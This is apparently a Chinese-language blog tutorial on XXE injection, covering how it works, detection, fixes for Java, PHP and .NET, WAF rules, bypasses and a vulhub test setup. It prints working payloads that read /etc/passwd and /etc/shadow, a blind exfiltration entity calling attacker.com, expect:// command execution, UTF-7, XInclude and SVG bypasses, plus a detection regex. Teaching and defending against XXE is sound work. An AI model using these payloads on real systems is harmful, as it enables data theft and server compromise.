1. 漏洞定义
XXE(XML外部实体注入) 是一种利用XML解析器处理外部实体时的安全缺陷,攻击者通过注入恶意外部实体,实现敏感数据读取、服务器端请求伪造(SSRF)或远程代码执行(RCE)。
2. 漏洞原理
外部实体声明:XML允许在DOCTYPE中定义实体,包括引用外部资源:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data>
- 解析器行为:未严格配置的解析器会解析并返回外部实体内容,如读取本地文件、发起网络请求等。
3. 攻击场景
敏感文件泄露:
<!ENTITY xxe SYSTEM "file:///etc/shadow">
SSRF攻击:
<!ENTITY xxe SYSTEM "http://internal-api:8080/secrets">
盲注XXE:通过DNS或HTTP请求外带数据:
<!ENTITY % dtd SYSTEM "http://attacker.com/collect?data=exfil">
PHP expect RCE(需特定环境):
<!ENTITY xxe SYSTEM "expect://id">
4. 漏洞检测方法
手动检测:
<!-- 基本Payload --> <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> <!-- 盲注检测 --> <!DOCTYPE test [ <!ENTITY % remote SYSTEM "http://dnslog.cn"> %remote; ]>
工具检测:
Burp Suite:Scanner模块自动识别XXE流量特征
XXEinjector:自动化利用工具,支持多种协议外带数据
OOB测试:使用Interactsh生成带外检测域名
5. 漏洞修复方案
代码层修复
禁用外部实体(以Java为例):
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
PHP修复:
libxml_disable_entity_loader(true);
.NET修复:
XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit;
架构层加固
输入过滤:拦截包含<!DOCTYPE或SYSTEM关键字的XML内容
协议限制:禁止XML解析器使用file、http、ftp等协议
WAF规则:
# 拦截XXE特征 if ($request_body ~* "<!ENTITY.*SYSTEM") { deny all; }
6. 绕过手法与进阶攻击
UTF-7编码绕过:
+ADw-+ACE-DOCTYPE foo+AFs- +ADw-+ACE-ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI- +AD4- +AD4-
XInclude注入(当无法控制XML头时):
<root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/> </root>
SVG文件XXE:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="expect://ls"></image> </svg>
御矩阵
防护层级 具体措施 实施示例
代码层 安全XML解析配置 禁用DTD、外部实体
运维层 文件上传过滤 禁止上传SVG/Office文档
网络层 出站协议限制 阻断XML解析器的外连请求
监控层 异常日志告警 监控XML解析错误日志
9. 测试验证流程
- 环境搭建:
# 使用vulhub快速搭建测试环境 git clone https://github.com/vulhub/vulhub cd vulhub/xxe docker-compose up -d
2.漏洞验证:
POST /xml.php HTTP/1.1 Host: vuln-server Content-Type: application/xml <?xml version="1.0"?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root>&xxe;</root>
总结:XEE漏洞的防御需要从XML解析器安全配置、输入过滤、协议限制等多维度构建防御体系,同时结合持续监控和渗透测试确保防护有效性。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)